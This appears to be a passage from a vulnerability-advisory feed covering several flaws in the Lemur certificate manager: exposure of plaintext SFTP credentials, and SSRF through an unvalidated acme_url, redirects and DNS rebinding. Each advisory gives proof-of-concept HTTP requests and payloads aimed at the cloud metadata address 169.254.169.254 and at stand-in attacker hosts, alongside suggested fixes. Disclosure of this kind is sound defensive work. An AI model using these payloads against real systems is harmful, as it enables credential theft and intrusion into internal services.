            data["plugin"]["pluginOptions"] = data["options"]   # copied verbatim into plugin block too
            ...
        return data
```

`options` is the raw `JSONType` DB column (`lemur/destinations/models.py`), stored exactly as the plugin saved it. The SFTP plugin stores plaintext credentials:

`lemur/plugins/lemur_sftp/plugin.py`
```python
"""
    Passwords are not encrypted and stored as a plain text.
"""
options = [
    ...
    {"name": "password",       "type": "str", "required": False, ...},   # plaintext
    {"name": "privateKeyPass", "type": "str", "required": False, ...},   # plaintext
    ...
]
```

There is no `read-only` enforcement on these GET handlers (no `StrictRolePermission()` call), so even users explicitly restricted to read-only access can read the secrets.


### PoC
Reproduction of Lemur's exact serialization path (verbatim `DestinationOutputSchema` + `PluginOutputSchema`, marshmallow 2.21.0), fed a stored SFTP destination row with password auth:

```python
from marshmallow import fields, post_dump, Schema

class PluginOutputSchema(Schema):                 # verbatim from lemur/schemas.py
    id = fields.Integer(); label = fields.String(); description = fields.String()
    active = fields.Boolean(); options = fields.List(fields.Dict(), dump_to="pluginOptions")
    slug = fields.String(); title = fields.String()

class DestinationOutputSchema(Schema):            # verbatim from lemur/destinations/schemas.py
    id = fields.Integer(); label = fields.String(); description = fields.String()
    active = fields.Boolean(); plugin = fields.Nested(PluginOutputSchema)
    options = fields.List(fields.Dict())
    @post_dump
    def fill_object(self, data):
        if data:
            data["plugin"]["pluginOptions"] = data["options"]
            for option in data["plugin"]["pluginOptions"]:
                if "export-plugin" in option["type"]:
                    option["value"]["pluginOptions"] = option["value"]["plugin_options"]
        return data

class Destination:                                # a stored SFTP destination row
    id = 4; label = "prod-nginx-sftp"; description = "Deploy certs via SFTP"; active = True
    options = [
        {"name": "host", "type": "str", "value": "10.0.5.20"},
        {"name": "user", "type": "str", "value": "deploy"},
        {"name": "password", "type": "str", "value": "S3cr3t-SFTP-Passw0rd!"},
        {"name": "privateKeyPass", "type": "str", "value": "rsa-key-passphrase-xyz"},
    ]
    plugin = {"slug": "sftp-destination", "title": "SFTP",
              "description": "Allow the uploading of certificates to SFTP",
              "options": [], "id": 1, "label": None, "active": None}

out = DestinationOutputSchema().dump(Destination()).data
import json; print(json.dumps(out))
assert "S3cr3t-SFTP-Passw0rd!" in json.dumps(out)
assert "rsa-key-passphrase-xyz" in json.dumps(out)
```

Output (truncated) -- the plaintext secrets appear in both `options` and `plugin.pluginOptions`:
```json
{"options":[ ... {"name":"password","type":"str","value":"S3cr3t-SFTP-Passw0rd!"},
 {"name":"privateKeyPass","type":"str","value":"rsa-key-passphrase-xyz"} ...],
 "plugin":{"pluginOptions":[ ... {"name":"password","value":"S3cr3t-SFTP-Passw0rd!"} ...],
 "slug":"sftp-destination", ...}}
```

End-to-end, as a low-privilege (or read-only) user holding a normal Lemur JWT:
```
GET /api/1/destinations/4 HTTP/1.1
Host: lemur.example.com
Authorization: Bearer &lt;low-priv-user-token&gt;

HTTP/1.1 200 OK
{ "plugin": { "pluginOptions": [ ... {"name":"password","value":"S3cr3t-SFTP-Passw0rd!"} ... ] } }
```

### Impact
Confidentiality breach of deployment credentials. Any authenticated Lemur user -- regardless of role, including users intentionally limited to `read-only` -- can enumerate all configured destinations and read their plaintext secrets. For SFTP destinations this yields the SSH password and/or the passphrase protecting the RSA key Lemur uses to push certificates. With these, an attacker authenticates directly to the remote certificate-deployment hosts, replacing or reading their TLS material -- a scope change beyond Lemur itself (S:C). The same read path exposes any other secret-bearing option a destination plugin stores in cleartext.

Suggested fix: gate the destination GET handlers with `admin_permission` (consistent with the write handlers), and/or redact option values whose type/name marks them as secret before serialization in `DestinationOutputSchema`.</content>
    <link href="https://vulnerability.circl.lu/vuln/pysec-2026-3674"/>
    <summary>### Summary
Lemur's destination read endpoints -- `GET /api/1/destinations` and `GET /api/1/destinations/&lt;id&gt;` -- return the full set of stored plugin option values to any authenticated user, with no authorization check and no redaction of secret-bearing options. The sibling write endpoints (`POST`/`PUT`/`DELETE`) are gated with `@admin_permission.require(http_exception=403)`, but the two read handlers are protected only by `login_required` (inherited from `AuthenticatedResource`). They do not even exclude `read-only` users.

The built-in SFTP destination plugin (`sftp-destination`) stores its `password` and `privateKeyPass` options in cleartext in the `destinations.options` column (the plugin's own docstring states "Passwords are not encrypted and stored as a plain text."). Because `DestinationOutputSchema` serializes every option value verbatim, any authenticated principal -- including a `read-only` user -- can retrieve these credentials and use them to authenticate to the remote SFTP server to which Lemur deploys certificates.


### Details
Read endpoints lack the authorization that their write siblings enforce:

`lemur/destinations/views.py`
```python
class DestinationsList(AuthenticatedResource):
    @validate_schema(None, destinations_output_schema)
    def get(self):                       # &lt;-- only login_required; no admin/read-only gate
        ...
        return service.render(args)

    @validate_schema(destination_input_schema, destination_output_schema)
    @admin_permission.require(http_exception=403)   # write path IS gated
    def post(self, data=None): ...

class Destinations(AuthenticatedResource):
    @validate_schema(None, destination_output_schema)
    def get(self, destination_id):       # &lt;-- only login_required; no admin/read-only gate
        return service.get(destination_id)

    @validate_schema(destination_input_schema, destination_output_schema)
    @admin_permission.require(http_exception=403)   # write path IS gated
    def put(self, destination_id, data=None): ...

    @admin_permission.require(http_exception=403)   # write path IS gated
    def delete(self, destination_id): ...
```

The output schema emits all option values, including secret ones:

`lemur/destinations/schemas.py`
```python
class DestinationOutputSchema(LemurOutputSchema):
    ...
    options = fields.List(fields.Dict())          # raw option dicts, incl. {"name":"password","value":...}

    @post_dump
    def fill_object(self, data):
        if data:
            data["plugin"]["pluginOptions"] = data["options"]   # copied verbatim into plugin block too
            ...
        return data
```

`options` is the raw `JSONType` DB column (`lemur/destinations/models.py`), stored exactly as the plugin saved it. The SFTP plugin stores plaintext credentials:

`lemur/plugins/lemur_sftp/plugin.py`
```python
"""
    Passwords are not encrypted and stored as a plain text.
"""
options = [
    ...
    {"name": "password",       "type": "str", "required": False, ...},   # plaintext
    {"name": "privateKeyPass", "type": "str", "required": False, ...},   # plaintext
    ...
]
```

There is no `read-only` enforcement on these GET handlers (no `StrictRolePermission()` call), so even users explicitly restricted to read-only access can read the secrets.


### PoC
Reproduction of Lemur's exact serialization path (verbatim `DestinationOutputSchema` + `PluginOutputSchema`, marshmallow 2.21.0), fed a stored SFTP destination row with password auth:

```python
from marshmallow import fields, post_dump, Schema

class PluginOutputSchema(Schema):                 # verbatim from lemur/schemas.py
    id = fields.Integer(); label = fields.String(); description = fields.String()
    active = fields.Boolean(); options = fields.List(fields.Dict(), dump_to="pluginOptions")
    slug = fields.String(); title = fields.String()

class DestinationOutputSchema(Schema):            # verbatim from lemur/destinations/schemas.py
    id = fields.Integer(); label = fields.String(); description = fields.String()
    active = fields.Boolean(); plugin = fields.Nested(PluginOutputSchema)
    options = fields.List(fields.Dict())
    @post_dump
    def fill_object(self, data):
        if data:
            data["plugin"]["pluginOptions"] = data["options"]
            for option in data["plugin"]["pluginOptions"]:
                if "export-plugin" in option["type"]:
                    option["value"]["pluginOptions"] = option["value"]["plugin_options"]
        return data

class Destination:                                # a stored SFTP destination row
    id = 4; label = "prod-nginx-sftp"; description = "Deploy certs via SFTP"; active = True
    options = [
        {"name": "host", "type": "str", "value": "10.0.5.20"},
        {"name": "user", "type": "str", "value": "deploy"},
        {"name": "password", "type": "str", "value": "S3cr3t-SFTP-Passw0rd!"},
        {"name": "privateKeyPass", "type": "str", "value": "rsa-key-passphrase-xyz"},
    ]
    plugin = {"slug": "sftp-destination", "title": "SFTP",
              "description": "Allow the uploading of certificates to SFTP",
              "options": [], "id": 1, "label": None, "active": None}

out = DestinationOutputSchema().dump(Destination()).data
import json; print(json.dumps(out))
assert "S3cr3t-SFTP-Passw0rd!" in json.dumps(out)
assert "rsa-key-passphrase-xyz" in json.dumps(out)
```

Output (truncated) -- the plaintext secrets appear in both `options` and `plugin.pluginOptions`:
```json
{"options":[ ... {"name":"password","type":"str","value":"S3cr3t-SFTP-Passw0rd!"},
 {"name":"privateKeyPass","type":"str","value":"rsa-key-passphrase-xyz"} ...],
 "plugin":{"pluginOptions":[ ... {"name":"password","value":"S3cr3t-SFTP-Passw0rd!"} ...],
 "slug":"sftp-destination", ...}}
```

End-to-end, as a low-privilege (or read-only) user holding a normal Lemur JWT:
```
GET /api/1/destinations/4 HTTP/1.1
Host: lemur.example.com
Authorization: Bearer &lt;low-priv-user-token&gt;

HTTP/1.1 200 OK
{ "plugin": { "pluginOptions": [ ... {"name":"password","value":"S3cr3t-SFTP-Passw0rd!"} ... ] } }
```

### Impact
Confidentiality breach of deployment credentials. Any authenticated Lemur user -- regardless of role, including users intentionally limited to `read-only` -- can enumerate all configured destinations and read their plaintext secrets. For SFTP destinations this yields the SSH password and/or the passphrase protecting the RSA key Lemur uses to push certificates. With these, an attacker authenticates directly to the remote certificate-deployment hosts, replacing or reading their TLS material -- a scope change beyond Lemur itself (S:C). The same read path exposes any other secret-bearing option a destination plugin stores in cleartext.

Suggested fix: gate the destination GET handlers with `admin_permission` (consistent with the write handlers), and/or redact option values whose type/name marks them as secret before serialization in `DestinationOutputSchema`.</summary>
    <published>2026-08-19T11:56:28.427292+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/pysec-2026-3679</id>
    <title>pysec-2026-3679</title>
    <updated>2026-08-19T12:16:27.646236+00:00</updated>
    <content>### Summary

The fix for GHSA-v2wp-frmc-5q3v added `_validate_acme_url()` to reject `acme_url` values not in `ACME_DIRECTORY_HOST_ALLOWLIST`, but the validation is only called at **authority creation time** (POST). The authority **update** endpoint (`PUT /api/1/authorities/&lt;id&gt;`) accepts and stores arbitrary `options` -- including a modified `acme_url` -- without invoking the allowlist check. Any user with an authority role (granted by an admin to allow issuing certificates via that authority) can therefore overwrite the stored `acme_url` with an internal IP or IMDS endpoint. The next certificate issuance via that authority causes Lemur's backend to fetch the attacker-controlled URL, achieving SSRF.

### Details

**Where the fix lives (POST path -- protected):**

`lemur/plugins/lemur_acme/plugin.py` lines 333-337 (ACMEIssuerPlugin.create_authority):
```python
for option in plugin_options:
    if option.get("name") == "certificate":
        acme_root = option.get("value")
    if option.get("name") == "acme_url":
        _validate_acme_url(option.get("value", ""))   # allowlist enforced
```

`_validate_acme_url` at line 35:
```python
def _validate_acme_url(url):
    """Reject acme_url values that are not in the configured allowlist.

    Called at authority creation time only -- existing authorities in the DB
    were already trusted when they were created and are not re-validated.
    """
    allowed_hosts = current_app.config.get(
        "ACME_DIRECTORY_HOST_ALLOWLIST",
        {"acme-v02.api.letsencrypt.org", ...},
    )
    parsed = urlparse(url)
    if parsed.scheme != "https" or parsed.hostname not in allowed_hosts:
        raise InvalidConfiguration(...)
```

**Where the gap is (PUT path -- unprotected):**

`lemur/authorities/views.py` lines 405-424 (`Authorities.put`):
```python
authority = service.get(authority_id)
roles = [x.name for x in authority.roles]
permission = AuthorityPermission(authority_id, roles)

if not permission.can() or not StrictRolePermission().can():
    return dict(message="You are not authorized to update this authority."), 403

return service.update(
    authority_id,
    owner=data["owner"],
    description=data["description"],
    active=data["active"],
    roles=data["roles"],
    options=data.get("options")        # stored verbatim -- no ACME URL check
)
```

`lemur/authorities/service.py` lines 28-46 (`update`):
```python
def update(authority_id, description, owner, active, roles, options=None):
    authority = get(authority_id)
    authority.roles = roles
    authority.active = active
    authority.description = description
    authority.owner = owner
    if options:
        authority.options = options    # written to DB with no _validate_acme_url call
    return database.update(authority)
```

**Where the SSRF sink is:**

`lemur/plugins/lemur_acme/acme_handlers.py` lines 157-188:
```python
for option in json.loads(authority.options):
    options[option["name"]] = option.get("value")
directory_url = options.get("acme_url", current_app.config.get("ACME_DIRECTORY_URL"))
...
directory = ClientV2.get_directory(directory_url, net)   # outbound HTTP to stored URL
```

With the default configuration (`LEMUR_STRICT_ROLE_ENFORCEMENT = False`, reverted in 1.9.2 per the GHSA-qcqw-jwxc-2hqg correction), `StrictRolePermission().can()` passes for any non-read-only user. Any user granted membership in an authority's role group by an admin can therefore call `PUT /api/1/authorities/&lt;id&gt;` to overwrite `acme_url` with an arbitrary URL. The allowlist enforced at creation is silently discarded.

### PoC

**Prerequisites:**
- Lemur 1.9.2, default config (`LEMUR_STRICT_ROLE_ENFORCEMENT` not set, defaults to `False`)
- Admin grants non-admin user membership in an ACME authority's role (normal operational step to allow certificate issuance)
- Attacker has a valid Lemur session token

**Step 1 -- Authenticate as the non-admin user (role: TestRootCA_operator):**

```
POST /api/1/auth/login HTTP/1.1
Host: lemur.example.com
Content-Type: application/json

{"username": "alice", "password": "..."}
```

Response (truncated):
```json
{"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
```

**Step 2 -- Confirm identity (non-admin, no global operator role):**

```
GET /api/1/auth/me HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
```

Response:
```json
{"username": "alice", "id": 2, "roles": [{"name": "TestRootCA_operator"}]}
```

**Step 3 -- Overwrite acme_url with an internal IMDS endpoint via authority update:**

```
PUT /api/1/authorities/1 HTTP/1.1
Host: lemur.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json

{
  "owner": "security@example.com",
  "description": "Let's Encrypt Production",
  "active": true,
  "roles": [{"id": 5}, {"id": 6}, {"id": 7}],
  "options": "[{\"name\": \"acme_url\", \"value\": \"http://169.254.169.254/latest/meta-data/\"}]"
}
```

Response (HTTP 200 -- no validation error):
```json
{
  "id": 1,
  "name": "TestRootCA",
  "description": "Let's Encrypt Production",
  "options": [{"name": "acme_url", "value": "http://169.254.169.254/latest/meta-data/"}],
  ...
}
```

**Live validation output (observed on Lemur 1.9.2, 2026-06-19):**

```
User: nonadvuln | ID: 2 | Roles: ['TestRootCA_operator']

PUT /api/1/authorities/1 -&gt; HTTP 200
stored options: [{"name": "acme_url", "value": "http://169.254.169.254/latest/meta-data/"}]

DB confirm (psql):
SELECT options FROM authorities WHERE id=1;
"[{\"name\": \"acme_url\", \"value\": \"http://169.254.169.254/latest/meta-data/\"}]"
```

**Step 4 -- Trigger SSRF:**

Issue any certificate via authority 1 (using the same or any other user with certificate issuance rights). Lemur's celery worker calls `AcmeHandler.setup_acme_client()`, which executes:

```python
directory_url = options.get("acme_url", ...)  # reads stored malicious URL
directory = ClientV2.get_directory(directory_url, net)  # outbound request
```

The backend issues an HTTP GET to `http://169.254.169.254/latest/meta-data/`, achieving SSRF to the instance metadata service (or any other internal endpoint the Lemur host can reach).

**Suggested fix:**

Call `_validate_acme_url()` inside `service.update()` (or in `Authorities.put`) whenever the `options` field is provided and the authority uses an ACME-based issuer plugin:

```python
# in lemur/authorities/service.py  update()
if options:
    from lemur.plugins.lemur_acme.plugin import _validate_acme_url
    import json
    for opt in json.loads(options) if isinstance(options, str) else options:
        if opt.get("name") == "acme_url":
            _validate_acme_url(opt.get("value", ""))
    authority.options = options
```

### Impact

An authenticated Lemur user who has been granted membership in any ACME authority's role group can overwrite that authority's `acme_url` with an arbitrary URL, bypassing the `ACME_DIRECTORY_HOST_ALLOWLIST` enforced at creation time. On the next certificate issuance via that authority, Lemur's backend issues an outbound HTTP request to the attacker-controlled URL. In cloud-hosted deployments this allows reading the instance metadata service (AWS IMDSv1, GCP metadata server, Azure IMDS), potentially yielding IAM credentials or other sensitive instance data. In on-premises or private-cloud deployments this allows probing internal services that the Lemur server can reach but external callers cannot.</content>
    <link href="https://vulnerability.circl.lu/vuln/pysec-2026-3679"/>
    <summary>### Summary

The fix for GHSA-v2wp-frmc-5q3v added `_validate_acme_url()` to reject `acme_url` values not in `ACME_DIRECTORY_HOST_ALLOWLIST`, but the validation is only called at **authority creation time** (POST). The authority **update** endpoint (`PUT /api/1/authorities/&lt;id&gt;`) accepts and stores arbitrary `options` -- including a modified `acme_url` -- without invoking the allowlist check. Any user with an authority role (granted by an admin to allow issuing certificates via that authority) can therefore overwrite the stored `acme_url` with an internal IP or IMDS endpoint. The next certificate issuance via that authority causes Lemur's backend to fetch the attacker-controlled URL, achieving SSRF.

### Details

**Where the fix lives (POST path -- protected):**

`lemur/plugins/lemur_acme/plugin.py` lines 333-337 (ACMEIssuerPlugin.create_authority):
```python
for option in plugin_options:
    if option.get("name") == "certificate":
        acme_root = option.get("value")
    if option.get("name") == "acme_url":
        _validate_acme_url(option.get("value", ""))   # allowlist enforced
```

`_validate_acme_url` at line 35:
```python
def _validate_acme_url(url):
    """Reject acme_url values that are not in the configured allowlist.

    Called at authority creation time only -- existing authorities in the DB
    were already trusted when they were created and are not re-validated.
    """
    allowed_hosts = current_app.config.get(
        "ACME_DIRECTORY_HOST_ALLOWLIST",
        {"acme-v02.api.letsencrypt.org", ...},
    )
    parsed = urlparse(url)
    if parsed.scheme != "https" or parsed.hostname not in allowed_hosts:
        raise InvalidConfiguration(...)
```

**Where the gap is (PUT path -- unprotected):**

`lemur/authorities/views.py` lines 405-424 (`Authorities.put`):
```python
authority = service.get(authority_id)
roles = [x.name for x in authority.roles]
permission = AuthorityPermission(authority_id, roles)

if not permission.can() or not StrictRolePermission().can():
    return dict(message="You are not authorized to update this authority."), 403

return service.update(
    authority_id,
    owner=data["owner"],
    description=data["description"],
    active=data["active"],
    roles=data["roles"],
    options=data.get("options")        # stored verbatim -- no ACME URL check
)
```

`lemur/authorities/service.py` lines 28-46 (`update`):
```python
def update(authority_id, description, owner, active, roles, options=None):
    authority = get(authority_id)
    authority.roles = roles
    authority.active = active
    authority.description = description
    authority.owner = owner
    if options:
        authority.options = options    # written to DB with no _validate_acme_url call
    return database.update(authority)
```

**Where the SSRF sink is:**

`lemur/plugins/lemur_acme/acme_handlers.py` lines 157-188:
```python
for option in json.loads(authority.options):
    options[option["name"]] = option.get("value")
directory_url = options.get("acme_url", current_app.config.get("ACME_DIRECTORY_URL"))
...
directory = ClientV2.get_directory(directory_url, net)   # outbound HTTP to stored URL
```

With the default configuration (`LEMUR_STRICT_ROLE_ENFORCEMENT = False`, reverted in 1.9.2 per the GHSA-qcqw-jwxc-2hqg correction), `StrictRolePermission().can()` passes for any non-read-only user. Any user granted membership in an authority's role group by an admin can therefore call `PUT /api/1/authorities/&lt;id&gt;` to overwrite `acme_url` with an arbitrary URL. The allowlist enforced at creation is silently discarded.

### PoC

**Prerequisites:**
- Lemur 1.9.2, default config (`LEMUR_STRICT_ROLE_ENFORCEMENT` not set, defaults to `False`)
- Admin grants non-admin user membership in an ACME authority's role (normal operational step to allow certificate issuance)
- Attacker has a valid Lemur session token

**Step 1 -- Authenticate as the non-admin user (role: TestRootCA_operator):**

```
POST /api/1/auth/login HTTP/1.1
Host: lemur.example.com
Content-Type: application/json

{"username": "alice", "password": "..."}
```

Response (truncated):
```json
{"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
```

**Step 2 -- Confirm identity (non-admin, no global operator role):**

```
GET /api/1/auth/me HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
```

Response:
```json
{"username": "alice", "id": 2, "roles": [{"name": "TestRootCA_operator"}]}
```

**Step 3 -- Overwrite acme_url with an internal IMDS endpoint via authority update:**

```
PUT /api/1/authorities/1 HTTP/1.1
Host: lemur.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json

{
  "owner": "security@example.com",
  "description": "Let's Encrypt Production",
  "active": true,
  "roles": [{"id": 5}, {"id": 6}, {"id": 7}],
  "options": "[{\"name\": \"acme_url\", \"value\": \"http://169.254.169.254/latest/meta-data/\"}]"
}
```

Response (HTTP 200 -- no validation error):
```json
{
  "id": 1,
  "name": "TestRootCA",
  "description": "Let's Encrypt Production",
  "options": [{"name": "acme_url", "value": "http://169.254.169.254/latest/meta-data/"}],
  ...
}
```

**Live validation output (observed on Lemur 1.9.2, 2026-06-19):**

```
User: nonadvuln | ID: 2 | Roles: ['TestRootCA_operator']

PUT /api/1/authorities/1 -&gt; HTTP 200
stored options: [{"name": "acme_url", "value": "http://169.254.169.254/latest/meta-data/"}]

DB confirm (psql):
SELECT options FROM authorities WHERE id=1;
"[{\"name\": \"acme_url\", \"value\": \"http://169.254.169.254/latest/meta-data/\"}]"
```

**Step 4 -- Trigger SSRF:**

Issue any certificate via authority 1 (using the same or any other user with certificate issuance rights). Lemur's celery worker calls `AcmeHandler.setup_acme_client()`, which executes:

```python
directory_url = options.get("acme_url", ...)  # reads stored malicious URL
directory = ClientV2.get_directory(directory_url, net)  # outbound request
```

The backend issues an HTTP GET to `http://169.254.169.254/latest/meta-data/`, achieving SSRF to the instance metadata service (or any other internal endpoint the Lemur host can reach).

**Suggested fix:**

Call `_validate_acme_url()` inside `service.update()` (or in `Authorities.put`) whenever the `options` field is provided and the authority uses an ACME-based issuer plugin:

```python
# in lemur/authorities/service.py  update()
if options:
    from lemur.plugins.lemur_acme.plugin import _validate_acme_url
    import json
    for opt in json.loads(options) if isinstance(options, str) else options:
        if opt.get("name") == "acme_url":
            _validate_acme_url(opt.get("value", ""))
    authority.options = options
```

### Impact

An authenticated Lemur user who has been granted membership in any ACME authority's role group can overwrite that authority's `acme_url` with an arbitrary URL, bypassing the `ACME_DIRECTORY_HOST_ALLOWLIST` enforced at creation time. On the next certificate issuance via that authority, Lemur's backend issues an outbound HTTP request to the attacker-controlled URL. In cloud-hosted deployments this allows reading the instance metadata service (AWS IMDSv1, GCP metadata server, Azure IMDS), potentially yielding IAM credentials or other sensitive instance data. In on-premises or private-cloud deployments this allows probing internal services that the Lemur server can reach but external callers cannot.</summary>
    <published>2026-08-19T11:56:28.379754+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/pysec-2026-3676</id>
    <title>pysec-2026-3676</title>
    <updated>2026-08-19T12:16:27.451309+00:00</updated>
    <content>## Summary
The SSRF mitigation added for GHSA-54vg-pfh7-jq95 (`_validate_revocation_url()` in `lemur
/certificates/verify.py`) can be bypassed. An operator-role user who uploads a certificate with attacker-controlled CRL/OCSP extensions can still make Lemur reach internal destinations (RFC1918, loopback, link-local 169.254.169.254) during verification.

## Affected version
Tested against `main` (the commit that introduced `_validate_revocation_url`). The 1.9.2 release predates that guard and is vulnerable to the original SSRF (GHSA-54vg-pfh7-jq95) directly; this bypass applies to the unreleased mitigation in `main`. Please map the affected range to whichever release will first contain `_validate_revocation_url`.

## Bypass 1 — HTTP redirect (deterministic)
The guard validates only the URL in the certificate; the CRL fetch then follows redirects without re-validating the target:
```python
# lemur/certificates/verify.py:174
response = requests.get(point, timeout=(3.05, 6))   
```
The attacker hosts the CRL URL on a public host they control (passes the guard); that host returns `302 Location: http://169.254.169.254/...`. `requests` follows it to the internal target the guard never inspected.

## Bypass 2 — DNS rebinding / TOCTOU (probabilistic)
The guard resolves once during validation; the fetch re-resolves independently:
```python
# lemur/certificates/verify.py:51
addr = ipaddress.ip_address(socket.gethostbyname(hostname))
```

A low-TTL attacker name that answers a public IP at check time and an internal IP at fetch time passes the guard but is fetched internally. Same gap affects the OCSP path (`openssl ocsp -url &lt;url&gt;`, verify.py:90-99).

## Relationship to GHSA-54vg-pfh7-jq95
Incomplete-fix of that mitigation, not a duplicate. Bypass 1 is not mentioned there; bypass 2 is the rebinding gap that advisory's remediation text anticipated ("pins the resolved IP") but the code does not implement.

## Affected endpoint
`POST /api/1/certificates/upload` (operator role) → verify_string → crl_verify / ocsp_verify. Triggered when verification runs (e.g. the check_revocation task).

## PoC
1. Generate a cert with `crlDistributionPoints = URI:http://attacker.example/crl`.
2. That host returns `302 Location: http://169.254.169.254/latest/meta-data/...` (bypass 1), or use a low-TTL rebinding name (bypass 2).
3. Upload via `POST /api/1/certificates/upload` as an operator user.
4. Trigger `lemur certificate check_revocation`.
5. Observe the request reach the internal address (`tcpdump -nni any host 169.254.169.254`).

&lt;img width="1140" height="277" alt="poc-1" src="https://github.com/user-attachments/assets/f27b9584-b33a-4b9c-b812-8c60302e1892" /&gt;

## Impact
Blind SSRF from the Lemur host: reach internal services and instance metadata (169.254.169.254 without IMDSv2). Response is parsed as a CRL and discarded — reachability/side-effects, not response exfiltration.

## Remediation
- `allow_redirects=False` on CRL fetches (or re-validate every redirect hop).
- Resolve once, pin the IP, connect to the pinned address; route the OCSP URL through the same check.
- Reject names with any internal A/AAAA record.</content>
    <link href="https://vulnerability.circl.lu/vuln/pysec-2026-3676"/>
    <summary>## Summary
The SSRF mitigation added for GHSA-54vg-pfh7-jq95 (`_validate_revocation_url()` in `lemur
/certificates/verify.py`) can be bypassed. An operator-role user who uploads a certificate with attacker-controlled CRL/OCSP extensions can still make Lemur reach internal destinations (RFC1918, loopback, link-local 169.254.169.254) during verification.

## Affected version
Tested against `main` (the commit that introduced `_validate_revocation_url`). The 1.9.2 release predates that guard and is vulnerable to the original SSRF (GHSA-54vg-pfh7-jq95) directly; this bypass applies to the unreleased mitigation in `main`. Please map the affected range to whichever release will first contain `_validate_revocation_url`.

## Bypass 1 — HTTP redirect (deterministic)
The guard validates only the URL in the certificate; the CRL fetch then follows redirects without re-validating the target:
```python
# lemur/certificates/verify.py:174
response = requests.get(point, timeout=(3.05, 6))   
```
The attacker hosts the CRL URL on a public host they control (passes the guard); that host returns `302 Location: http://169.254.169.254/...`. `requests` follows it to the internal target the guard never inspected.

## Bypass 2 — DNS rebinding / TOCTOU (probabilistic)
The guard resolves once during validation; the fetch re-resolves independently:
```python
# lemur/certificates/verify.py:51
addr = ipaddress.ip_address(socket.gethostbyname(hostname))
```

A low-TTL attacker name that answers a public IP at check time and an internal IP at fetch time passes the guard but is fetched internally. Same gap affects the OCSP path (`openssl ocsp -url &lt;url&gt;`, verify.py:90-99).

## Relationship to GHSA-54vg-pfh7-jq95
Incomplete-fix of that mitigation, not a duplicate. Bypass 1 is not mentioned there; bypass 2 is the rebinding gap that advisory's remediation text anticipated ("pins the resolved IP") but the code does not implement.

## Affected endpoint
`POST /api/1/certificates/upload` (operator role) → verify_string → crl_verify / ocsp_verify. Triggered when verification runs (e.g. the check_revocation task).

## PoC
1. Generate a cert with `crlDistributionPoints = URI:http://attacker.example/crl`.
2. That host returns `302 Location: http://169.254.169.254/latest/meta-data/...` (bypass 1), or use a low-TTL rebinding name (bypass 2).
3. Upload via `POST /api/1/certificates/upload` as an operator user.
4. Trigger `lemur certificate check_revocation`.
5. Observe the request reach the internal address (`tcpdump -nni any host 169.254.169.254`).

&lt;img width="1140" height="277" alt="poc-1" src="https://github.com/user-attachments/assets/f27b9584-b33a-4b9c-b812-8c60302e1892" /&gt;

## Impact
Blind SSRF from the Lemur host: reach internal services and instance metadata (169.254.169.254 without IMDSv2). Response is parsed as a CRL and discarded — reachability/side-effects, not response exfiltration.

## Remediation
- `allow_redirects=False` on CRL fetches (or re-validate every redirect hop).
- Resolve once, pin the IP, connect to the pinned address; route the OCSP URL through the same check.
- Reject names with any internal A/AAAA record.</summary>
    <published>2026-08-19T11:56:28.331384+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/pysec-2026-3680</id>
    <title>pysec-2026-3680</title>
    <updated>2026-08-19T12:16:27.713871+00:00</updated>
    <content>### Summary
The ACME client (used to issue certificates from Let's Encrypt / Google Public CA / private ACME CAs) connects to an `acme_url`, then issues requests to URLs that the **ACME server returns** in its directory/order/authorization/finalize responses - this is the classic ACME-client SSRF (RFC 8555 design). Lemur validates `acme_url` against an allowlist of public ACME directories, but **only at authority creation**. The authority UPDATE path (`PUT /authorities/&lt;id&gt;`) accepts a new `options` blob with an arbitrary `acme_url` and never re-validates. An attacker who is a member of an authority's role can repoint an existing ACME authority at a malicious ACME server they control, which returns internal URLs in its responses - coercing Lemur into making JWS-signed POST requests to internal services during the next certificate issuance.

### Detail
**Defect A - allowlist only at creation.**
`_validate_acme_url` (`lemur/plugins/lemur_acme/plugin.py:35-53`) restricts the host to `{acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org, dv.acme-v02.api.pki.goog}`. It runs **only inside `create_authority`** (lines 337, 481). The update path stores `options` verbatim:
```python
# lemur/authorities/views.py:417-424  (Authorities.put)
return service.update(
    authority_id,
    owner=data["owner"], description=data["description"],
    active=data["active"], roles=data["roles"],
    options=data.get("options")          # &lt;- acme_url lives here, NO re-validation
)
```
`AuthorityUpdateSchema.options = fields.String()` (`authorities/schemas.py:101`) applies no validation. The docstring of `_validate_acme_url` even admits: *"existing authorities in the DB were already trusted when they were created and are not re-validated."*

**Defect B - ACME client follows server-supplied URLs.**
`setup_acme_client_no_retry` (`acme_handlers.py:161-162, 188-202`) reads `acme_url` from stored authority options and creates an ACME client. Per RFC 8555, the client:
1. `get_directory(acme_url)` -&gt; server returns `newNonce`, `newOrder`, `revokeCert`, `keyChange` URLs.
2. `new_order()` -&gt; server returns `finalize` and `authorizations` URLs.
3. `poll()`, `finalize_order()`, cert download -&gt; all hit **server-chosen URLs**.

A malicious ACME server can return internal URLs for all of these.

**Authorization on update:** `Authorities.put` requires `AuthorityPermission(authority_id, roles)` (`views.py:412`), satisfied by `AuthorityOwnerNeed`/`AuthorityCreatorNeed` - i.e. any **member of the authority's role**, not a global admin. This is the standard role a certificate issuer holds.

**Source-to-sink trace:**
```
PUT /api/1/authorities/&lt;id&gt; (AuthorityPermission = authority-role member)
  -&gt; service.update(options={"acme_url":"https://evil.attacker.tld/dir"})  &lt;- no re-validation
… next certificate issuance against this authority …
  setup_acme_client_no_retry reads acme_url=evil.attacker.tld
    -&gt; ACME client GET directory -&gt; attacker returns newOrder=http://169.254.169.254/...
    -&gt; Lemur POSTs JWS-signed request to internal URL
```

### Steps to Reproduce (POC)

**Step 1 - Attacker runs a malicious ACME directory server** (e.g. `evil.attacker.tld`) that returns internal URLs in its directory and order responses:
```python
# Minimal: a directory endpoint that points "newOrder" at an internal target
{
  "newNonce": "https://evil.attacker.tld/nonce",
